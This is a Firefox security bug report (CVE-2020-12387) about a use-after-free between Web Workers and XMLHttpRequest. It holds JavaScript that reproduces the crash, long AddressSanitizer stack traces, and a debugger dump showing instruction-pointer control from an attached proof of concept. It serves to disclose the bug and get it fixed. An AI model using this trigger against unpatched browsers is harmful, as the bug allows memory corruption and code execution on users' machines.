Closed Bug 1545345 (CVE-2020-12387) Opened 5 years ago Closed 4 years ago

Web Workers - Use After Free with XMLHttpRequest

Categories

(Core :: DOM: Workers, defect, P1)

Product:
Core
Component:
DOM: Workers
Version:
68 Branch
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla76
Tracking Flags:
Tracking Status
firefox-esr68 76+ fixed
firefox68 --- wontfix
firefox69 + wontfix
firefox70 + wontfix
firefox71 + wontfix
firefox72 + wontfix
firefox73 + wontfix
firefox74 + wontfix
firefox75 + wontfix
firefox76 + fixed

People

(Reporter: loobenyang, Assigned: asuth)

References

Details

(Keywords: csectype-uaf, sec-critical, Whiteboard: [post-critsmash-triage][adv-main76+][adv-ESR68.8+])

Attachments

(5 files)

UAF_NoteXPCOMChild_Repro.js
1.60 KB, text/javascript
Details
UAF_NoteXPCOMChild_EIP_41414141.js
2.19 KB, text/javascript
Details
Bug 1545345 - Improve worker shutdown. r=baku,smaug
47 bytes, text/x-phabricator-request
dveditz
: sec-approval+
Details | Review
Bug 1545345 - Improve worker shutdown on ESR68. r=baku,smaug
47 bytes, text/x-phabricator-request
RyanVM
: approval-mozilla-esr68+
Details | Review
advisory.txt
202 bytes, text/plain
Details

Reproduction test case (full server code in attached file UAF_NoteXPCOMChild_Repro.js):

Main Page code:
    <script type="text/javascript">
    var worker = new Worker("worker0.js");
    var bc0 = new BroadcastChannel("test_channel");
    setInterval(function(){ bc0.postMessage("AAAA");}, 10);
    setTimeout(function(){location.reload();},800); 
    </script>

Worker code:
    var bc0 = new BroadcastChannel("test_channel");
    bc0.onmessage = function(e) {
    xmlReq0.send(); 
    xmlReq0.abort();
    }
    var fileReader1 =  new FileReader();
    fileReader1.onloadend = function(e) {
    xmlReq0.open("get", "nofile.js", false);
    }
    var xmlReq0 = new XMLHttpRequest();
    close();
    fileReader1.readAsArrayBuffer(new Blob(["AAAA"], {type : "text/html"}));
    fileReader1.abort();

Steps to reproduce:
1. Run server side script UAF_NoteXPCOMChild_Repro.js with Node.js (node UAF_NoteXPCOMChild_Repro.js).
2. Enter http://localhost:12345 in Firefox asan build.
3. ASAN reports a Use After Free with XMLHttpRequest:

    =================================================================
    ==7061==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000d0540 at pc 0x7faee9713b6f bp 0x7faed52472b0 sp 0x7faed52472a8
    READ of size 8 at 0x6120000d0540 thread T22 (DOM Worker)

Firefox version: 68.0a1 (2019-04-17) (64-bit)
OS: Ubuntu 16.04 LTS 64bit

Stack trace:

=================================================================
==7061==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000d0540 at pc 0x7faee9713b6f bp 0x7faed52472b0 sp 0x7faed52472a8
READ of size 8 at 0x6120000d0540 thread T22 (DOM Worker)
    #0 0x7faee9713b6e in ~nsCOMPtr_base /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:331:7
    #1 0x7faee9713b6e in mozilla::WidgetEvent::~WidgetEvent() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/BasicEvents.h:500
    #2 0x7faef0173e9d in mozilla::WidgetEvent::~WidgetEvent() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/BasicEvents.h:500:26
    #3 0x7faeee23825b in mozilla::dom::Event::~Event() /builds/worker/workspace/build/src/dom/events/Event.cpp:113:5
    #4 0x7faeee1c9a3d in mozilla::dom::Event::~Event() /builds/worker/workspace/build/src/dom/events/Event.cpp:109:17
    #5 0x7faee7bf5ba6 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7
    #6 0x7faee7bf488e in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2607:3
    #7 0x7faee7bfe048 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3582:3
    #8 0x7faee7bfd630 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3411:9
    #9 0x7faee7c0119c in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3947:21
    #10 0x7faef5088dc7 in callGCCallback /builds/worker/workspace/build/src/js/src/gc/GC.cpp:1840:3
    #11 0x7faef5088dc7 in js::gc::GCRuntime::maybeCallGCCallback(JSGCStatus) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7375
    #12 0x7faef5089eff in ~AutoCallGCCallbacks /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7354:32
    #13 0x7faef5089eff in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7464
    #14 0x7faef508d423 in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7622:9
    #15 0x7faef502347d in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7710:3
    #16 0x7faeef978f39 in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2325:5
    #17 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #18 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #19 0x7faee8e01e40 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
    #20 0x7faee8d2e5b2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #21 0x7faee8d2e5b2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #22 0x7faee8d2e5b2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #23 0x7faee7db12fa in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11
    #24 0x7faf0884e05d in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
    #25 0x7faf084946b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
    #26 0x7faf0751d41c in clone /build/glibc-Cl5G7W/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109

0x6120000d0540 is located 0 bytes inside of 272-byte region [0x6120000d0540,0x6120000d0650)
freed by thread T22 (DOM Worker) here:
    #0 0x55c5c6461182 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
    #1 0x7faee7bf5ba6 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7
    #2 0x7faee7bf488e in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2607:3
    #3 0x7faee7bfe048 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3582:3
    #4 0x7faee7bfd630 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3411:9
    #5 0x7faee7c0119c in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3947:21
    #6 0x7faef5088dc7 in callGCCallback /builds/worker/workspace/build/src/js/src/gc/GC.cpp:1840:3
    #7 0x7faef5088dc7 in js::gc::GCRuntime::maybeCallGCCallback(JSGCStatus) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7375
    #8 0x7faef5089eff in ~AutoCallGCCallbacks /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7354:32
    #9 0x7faef5089eff in js::gc::GCRuntime::gcCycle(bool, js::SliceBudget, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7464
    #10 0x7faef508d423 in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7622:9
    #11 0x7faef502347d in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::GCReason) /builds/worker/workspace/build/src/js/src/gc/GC.cpp:7710:3
    #12 0x7faeef978f39 in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2325:5
    #13 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #14 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #15 0x7faee8e01e40 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
    #16 0x7faee8d2e5b2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #17 0x7faee8d2e5b2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #18 0x7faee8d2e5b2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #19 0x7faee7db12fa in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11
    #20 0x7faf0884e05d in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
    #21 0x7faf084946b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

previously allocated by thread T22 (DOM Worker) here:
    #0 0x55c5c6461503 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
    #1 0x55c5c6495f9d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
    #2 0x7faeefd8af22 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
    #3 0x7faeefd8af22 in mozilla::dom::XMLHttpRequestWorker::Construct(mozilla::dom::GlobalObject const&, mozilla::dom::MozXMLHttpRequestParameters const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestWorker.cpp:1482
    #4 0x7faeefd8a049 in mozilla::dom::XMLHttpRequest::Constructor(mozilla::dom::GlobalObject const&, mozilla::dom::MozXMLHttpRequestParameters const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequest.cpp:51:10
    #5 0x7faeecffb4f7 in mozilla::dom::XMLHttpRequest_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:2557:64
    #6 0x7faef4007905 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
    #7 0x7faef4007905 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
    #8 0x7faef4007905 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
    #9 0x7faef3fe4f1c in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3063:16
    #10 0x7faef3fced88 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
    #11 0x7faef4009ef9 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
    #12 0x7faef400a66c in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
    #13 0x7faef4287694 in bool Evaluate<char16_t>(JSContext*, js::ScopeKind, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:539:10
    #14 0x7faef4286a0a in JS::Evaluate(JSContext*, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:557:10
    #15 0x7faeef98a456 in mozilla::dom::(anonymous namespace)::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:1989:10
    #16 0x7faeef9c9f82 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
    #17 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #18 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #19 0x7faeef9b904e in mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:3646:7
    #20 0x7faeef95b555 in Run /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:1169:27
    #21 0x7faeef95b555 in mozilla::dom::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, nsTArray<mozilla::dom::(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2149
    #22 0x7faeef95a972 in mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2259:3
    #23 0x7faeef9dd1c5 in mozilla::dom::(anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:340:5
    #24 0x7faeef9c9f82 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
    #25 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #26 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #27 0x7faeef9b07ea in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2748:7
    #28 0x7faeef978f0b in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2305:40
    #29 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #30 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #31 0x7faee8e01e40 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
    #32 0x7faee8d2e5b2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #33 0x7faee8d2e5b2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #34 0x7faee8d2e5b2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #35 0x7faee7db12fa in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11

Thread T22 (DOM Worker) created by T0 (Web Content) here:
    #0 0x55c5c6449add in pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:210:3
    #1 0x7faf08840158 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
    #2 0x7faf08829d3e in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
    #3 0x7faee7db3609 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:661:8
    #4 0x7faeef9d9388 in mozilla::dom::WorkerThread::Create(mozilla::dom::WorkerThreadFriendKey const&) /builds/worker/workspace/build/src/dom/workers/WorkerThread.cpp:93:7
    #5 0x7faeef94df79 in mozilla::dom::workerinternals::RuntimeService::ScheduleWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1433:14
    #6 0x7faeef94c595 in mozilla::dom::workerinternals::RuntimeService::RegisterWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1298:19
    #7 0x7faeef9aa8a3 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2250:24
    #8 0x7faeef95c7b7 in mozilla::dom::Worker::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/Worker.cpp:30:41
    #9 0x7faeecfab3d0 in mozilla::dom::Worker_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WorkerBinding.cpp:1112:52
    #10 0x7faef4007905 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
    #11 0x7faef4007905 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
    #12 0x7faef4007905 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
    #13 0x7faef3fe4f1c in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3063:16
    #14 0x7faef3fced88 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
    #15 0x7faef4009ef9 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
    #16 0x7faef400a66c in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
    #17 0x7faef428491d in ExecuteScript(JSContext*, JS::Handle<JS::StackGCVector<JSObject*, js::TempAllocPolicy> >, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:455:10
    #18 0x7faeeb5b26a4 in nsJSUtils::ExecutionContext::ExecScript() /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:386:8
    #19 0x7faeefe21ef3 in mozilla::dom::ExecuteCompiledScript(JSContext*, mozilla::dom::ScriptLoadRequest*, nsJSUtils::ExecutionContext&) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2495:16
    #20 0x7faeefe1efb1 in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2715:20
    #21 0x7faeefe1794c in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2222:10
    #22 0x7faeefe14322 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1803:10
    #23 0x7faeefdee73e in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1526:10
    #24 0x7faeefdeda0e in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:118:18
    #25 0x7faeea1249ba in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:224:18
    #26 0x7faeea1249ba in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:727
    #27 0x7faeea11e663 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:530:7
    #28 0x7faeea12a7e0 in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:133:18
    #29 0x7faee7d86141 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
    #30 0x7faee7db73a1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #31 0x7faee7dbd4b8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #32 0x7faee8e00c3a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #33 0x7faee8d2e5b2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #34 0x7faee8d2e5b2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #35 0x7faee8d2e5b2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #36 0x7faef0180599 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #37 0x7faef3d7bc9f in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #38 0x7faee8d2e5b2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #39 0x7faee8d2e5b2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #40 0x7faee8d2e5b2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #41 0x7faef3d7b646 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
    #42 0x55c5c64943a7 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #43 0x55c5c64943a7 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
    #44 0x7faf0743682f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:331:7 in ~nsCOMPtr_base
Shadow bytes around the buggy address:
  0x0c2480012050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2480012060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2480012070: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c2480012080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2480012090: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c24800120a0: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd
  0x0c24800120b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c24800120c0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x0c24800120d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c24800120e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c24800120f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==7061==ABORTING

I can reproduce on a windows nightly asan build after letting the testcase reload loop run for a bit (sometimes it crashes quickly, sometimes takes a while). The stack on the crashing thread I get is a little different, but still a UAF read of 8 bytes somewhere in the CycleCollector. The allocation and freed stacks are the same as shown here.

Doesn't crash on an opt build. Haven't tried a debug build to see if there are any interesting assertions firing.

Group: core-security → dom-core-security
Flags: sec-bounty?
Keywords: csectype-uaf, sec-high

Attached a PoC ( UAF_NoteXPCOMChild_EIP_41414141.js ) with EIP control on 32 bit Firefox.

Firefox version: 68.0a1 (2019-04-17) (32-bit)
OS: Windows 10

(1440.6678): Access violation - code c0000005 (!!! second chance !!!)
eax=12c2d920 ebx=13daf0b4 ecx=e5e5e5e5 edx=14da0000 esi=14da0000 edi=14a2e090
eip=41414141 esp=13daf094 ebp=13daf0c8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
3:232> r
eax=12c2d920 ebx=13daf0b4 ecx=e5e5e5e5 edx=14da0000 esi=14da0000 edi=14a2e090
eip=41414141 esp=13daf094 ebp=13daf0c8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
3:232> k

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong.
00 13daf090 5a4a77b3 0x41414141
01 13daf0c8 5a49a108 xul!CCGraphBuilder::NoteXPCOMChild+0x53 [z:\task_1555535245\build\src\xpcom\base\nsCycleCollector.cpp @ 2155]
02 13daf238 5a499ebe xul!mozilla::CycleCollectedJSRuntime::TraverseGCThing+0x238 [z:\task_1555535245\build\src\xpcom\base\CycleCollectedJSRuntime.cpp @ 693]
03 13daf254 5a4a7221 xul!mozilla::JSGCThingParticipant::TraverseNative+0x2e [z:\task_1555535245\build\src\xpcom\base\CycleCollectedJSRuntime.cpp @ 359]
04 13daf288 5a4a9507 xul!CCGraphBuilder::BuildGraph+0x91 [z:\task_1555535245\build\src\xpcom\base\nsCycleCollector.cpp @ 2061]
05 13daf2a0 5a4a9b5c xul!nsCycleCollector::MarkRoots+0x37 [z:\task_1555535245\build\src\xpcom\base\nsCycleCollector.cpp @ 2672]
06 13daf380 5a4acc23 xul!nsCycleCollector::Collect+0x26c [z:\task_1555535245\build\src\xpcom\base\nsCycleCollector.cpp @ 3423]
07 13daf3e4 5bf9624a xul!nsCycleCollector_collect+0x53 [z:\task_1555535245\build\src\xpcom\base\nsCycleCollector.cpp @ 3948]
08 13daf3f0 5a49a949 xul!mozilla::dom::workerinternals::anonymous namespace'::WorkerJSRuntime::CustomGCCallback+0x1a [z:\task_1555535245\build\src\dom\workers\RuntimeService.cpp @ 909] 09 13daf41c 5992dd1f xul!mozilla::CycleCollectedJSRuntime::GCCallback+0x109 [z:\task_1555535245\build\src\xpcom\base\CycleCollectedJSRuntime.cpp @ 797] 0a 13daf43c 5992e1c1 xul!js::gc::GCRuntime::maybeCallGCCallback+0xdf [z:\task_1555535245\build\src\js\src\gc\GC.cpp @ 7377] 0b 13daf4c8 5992ec84 xul!js::gc::GCRuntime::gcCycle+0x401 [z:\task_1555535245\build\src\js\src\gc\GC.cpp @ 7466] 0c 13daf568 59916c59 xul!js::gc::GCRuntime::collect+0x144 [z:\task_1555535245\build\src\js\src\gc\GC.cpp @ 7623] 0d 13daf600 598c4254 xul!js::gc::GCRuntime::gc+0xb9 [z:\task_1555535245\build\src\js\src\gc\GC.cpp @ 7712] 0e 13daf618 5bf9590a xul!JS_GC+0x24 [z:\task_1555535245\build\src\js\src\jsapi.cpp @ 1189] 0f 13daf6a4 58df966c xul!mozilla::dom::workerinternals::anonymous namespace'::WorkerThreadPrimaryRunnable::Run+0xba [z:\task_1555535245\build\src\dom\workers\RuntimeService.cpp @ 2325]
10 13dafb88 58df915b xul!nsThread::ProcessNextEvent+0x44c [z:\task_1555535245\build\src\xpcom\threads\nsThread.cpp @ 1180]
